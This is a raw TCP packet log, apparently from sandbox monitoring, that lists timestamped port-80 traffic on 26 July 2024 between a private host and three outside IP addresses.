Jul 26, 2024 13:08:45.211110115 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.211175919 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.211235046 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.216552973 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.694180012 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.694345951 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.694797993 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.694847107 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.694859028 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.694892883 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.697230101 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.697247982 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.697293997 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.700047970 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.700064898 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.700117111 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.702858925 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.702874899 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.702897072 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.702925920 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.705760956 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.705811024 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.705840111 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.705884933 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.705909014 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.705959082 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.783070087 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.783138037 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.783607960 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.783647060 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.783657074 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.783689976 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.786102057 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.786139011 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.786155939 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.786185980 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.788657904 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.788692951 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.788722992 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.788744926 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.791430950 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.791465998 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.791492939 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.791523933 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.794194937 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.794229984 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.794243097 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.794279099 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.796437979 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.796472073 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.796514988 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.796514988 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.798685074 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.798726082 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.798742056 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.798758984 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.798768044 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.798810959 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.800920010 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.800956011 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.800971031 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.800998926 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.803172112 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.803208113 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.803232908 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.803255081 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.805366993 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.805402040 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.805419922 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.805448055 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.871998072 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.872090101 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.872476101 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.872504950 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.872519016 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.872539997 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.874584913 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.874602079 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.874630928 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.874654055 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.876764059 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.876780033 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.876806021 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.876828909 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.879110098 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.879128933 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.879144907 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.879153967 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.879182100 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.879182100 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.881485939 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.881503105 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.881546974 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.883955956 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.883982897 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.884016037 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.884032011 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.885739088 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.885755062 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.885809898 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.887722969 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.887742043 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.887761116 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.887772083 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.887784958 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.887820005 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.889564991 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.889585018 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.889600992 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.889616013 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.891457081 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.891477108 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.891503096 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.891511917 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.893366098 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.893412113 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.893423080 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.893452883 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.893471956 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.893513918 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.895204067 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.895243883 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.895265102 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.895287037 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.897073030 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.897114992 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.897131920 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.897161007 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.898854017 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.898893118 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.898909092 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.898935080 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.900631905 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.900674105 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.900687933 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.900726080 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.900741100 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.900783062 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:45.902348042 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:45.902391911 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:46.010817051 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:46.016011953 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:46.016123056 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:46.016673088 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:46.016705990 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:46.016729116 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:46.016755104 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:46.533020973 CEST	49167	80	192.168.2.22	188.114.97.3
Jul 26, 2024 13:08:46.538212061 CEST	80	49167	188.114.97.3	192.168.2.22
Jul 26, 2024 13:08:46.538289070 CEST	49167	80	192.168.2.22	188.114.97.3
Jul 26, 2024 13:08:46.836004972 CEST	49167	80	192.168.2.22	188.114.97.3
Jul 26, 2024 13:08:46.841109991 CEST	80	49167	188.114.97.3	192.168.2.22
Jul 26, 2024 13:08:47.108252048 CEST	80	49167	188.114.97.3	192.168.2.22
Jul 26, 2024 13:08:47.108314991 CEST	49167	80	192.168.2.22	188.114.97.3
Jul 26, 2024 13:08:47.367516041 CEST	49167	80	192.168.2.22	188.114.97.3
Jul 26, 2024 13:08:47.372504950 CEST	80	49167	188.114.97.3	192.168.2.22
Jul 26, 2024 13:08:47.515921116 CEST	80	49167	188.114.97.3	192.168.2.22
Jul 26, 2024 13:08:47.516063929 CEST	49167	80	192.168.2.22	188.114.97.3
Jul 26, 2024 13:08:47.524637938 CEST	49167	80	192.168.2.22	188.114.97.3
Jul 26, 2024 13:08:47.529505014 CEST	80	49167	188.114.97.3	192.168.2.22
Jul 26, 2024 13:08:47.677181959 CEST	80	49167	188.114.97.3	192.168.2.22
Jul 26, 2024 13:08:47.677242994 CEST	49167	80	192.168.2.22	188.114.97.3
Jul 26, 2024 13:08:47.747106075 CEST	49168	80	192.168.2.22	188.114.96.3
Jul 26, 2024 13:08:47.752055883 CEST	80	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 13:08:47.752140045 CEST	49168	80	192.168.2.22	188.114.96.3
Jul 26, 2024 13:08:47.752281904 CEST	49168	80	192.168.2.22	188.114.96.3
Jul 26, 2024 13:08:47.757328987 CEST	80	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 13:08:48.301784039 CEST	80	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 13:08:48.512942076 CEST	49168	80	192.168.2.22	188.114.96.3
Jul 26, 2024 13:08:48.514794111 CEST	80	49168	188.114.96.3	192.168.2.22
Jul 26, 2024 13:08:48.514862061 CEST	49168	80	192.168.2.22	188.114.96.3
Jul 26, 2024 13:08:50.687618017 CEST	80	49166	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:50.687736988 CEST	49166	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:51.727361917 CEST	49169	80	192.168.2.22	188.114.97.3
Jul 26, 2024 13:08:51.733822107 CEST	80	49169	188.114.97.3	192.168.2.22
Jul 26, 2024 13:08:51.733900070 CEST	49169	80	192.168.2.22	188.114.97.3
Jul 26, 2024 13:08:51.734004974 CEST	49169	80	192.168.2.22	188.114.97.3
Jul 26, 2024 13:08:51.739509106 CEST	80	49169	188.114.97.3	192.168.2.22
Jul 26, 2024 13:08:52.280599117 CEST	80	49169	188.114.97.3	192.168.2.22
Jul 26, 2024 13:08:52.411298037 CEST	49167	80	192.168.2.22	188.114.97.3
Jul 26, 2024 13:08:52.416404009 CEST	80	49167	188.114.97.3	192.168.2.22
Jul 26, 2024 13:08:52.490962029 CEST	49169	80	192.168.2.22	188.114.97.3
Jul 26, 2024 13:08:52.496649981 CEST	80	49169	188.114.97.3	192.168.2.22
Jul 26, 2024 13:08:52.496726990 CEST	49169	80	192.168.2.22	188.114.97.3
Jul 26, 2024 13:08:52.580640078 CEST	80	49167	188.114.97.3	192.168.2.22
Jul 26, 2024 13:08:52.580712080 CEST	49167	80	192.168.2.22	188.114.97.3
Jul 26, 2024 13:08:53.043481112 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.071974993 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.072043896 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.072285891 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.077928066 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.571343899 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.571564913 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.571603060 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.571696997 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.571743965 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.573201895 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.573237896 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.573288918 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.575146914 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.575184107 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.575238943 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.576875925 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.576910973 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.576967955 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.578710079 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.578752041 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.578787088 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.578804016 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.578830004 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.610616922 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.662206888 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.662734985 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.662753105 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.662821054 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.664232969 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.664290905 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.665086031 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.665105104 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.665137053 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.665153980 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.666682005 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.666698933 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.666747093 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.668489933 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.668509960 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.668543100 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.668559074 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.670301914 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.670320034 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.670377970 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.672122955 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.672139883 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.672184944 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.673738956 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.673763990 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.673779011 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.673811913 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.673835039 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.675046921 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.675065994 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.675128937 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.676527977 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.676547050 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.676575899 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.676646948 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.677983999 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.678004026 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.678020954 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.678031921 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.678054094 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.753726959 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.753957033 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.753998041 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.754033089 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.754079103 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.755522966 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.756422043 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.756454945 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.756506920 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.756532907 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.757158041 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.757194042 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.757214069 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.757234097 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.759691000 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.759725094 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.759751081 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.759780884 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.760953903 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.760988951 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.761003017 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.761087894 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.762600899 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.762634039 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.762696028 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.764199018 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.764234066 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.764257908 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.764295101 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.765427113 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.765461922 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.765487909 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.765494108 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.765522003 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.765537977 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.766854048 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.766885996 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.766937971 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.768085957 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.768120050 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.768136978 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.768158913 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.769511938 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.769546986 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.769563913 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.769583941 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.770771980 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.770807028 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.770838976 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.770853043 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.770878077 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.772033930 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.772068977 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.772082090 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.772542953 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.772576094 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.772588968 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.772614956 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.773802996 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.773837090 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.773886919 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.777209997 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.777390957 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.777455091 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.777544975 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.777579069 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.777589083 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.777611971 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.777621031 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.777657032 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.778259993 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.778294086 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.778338909 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.779506922 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.779541016 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.779592991 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.779695988 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.779731035 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.779742002 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.779772997 CEST	49170	80	192.168.2.22	192.3.176.174
Jul 26, 2024 13:08:53.845114946 CEST	80	49170	192.3.176.174	192.168.2.22
Jul 26, 2024 13:08:53.845213890 CEST	49170	80	192.168.2.22	192.3.176.174
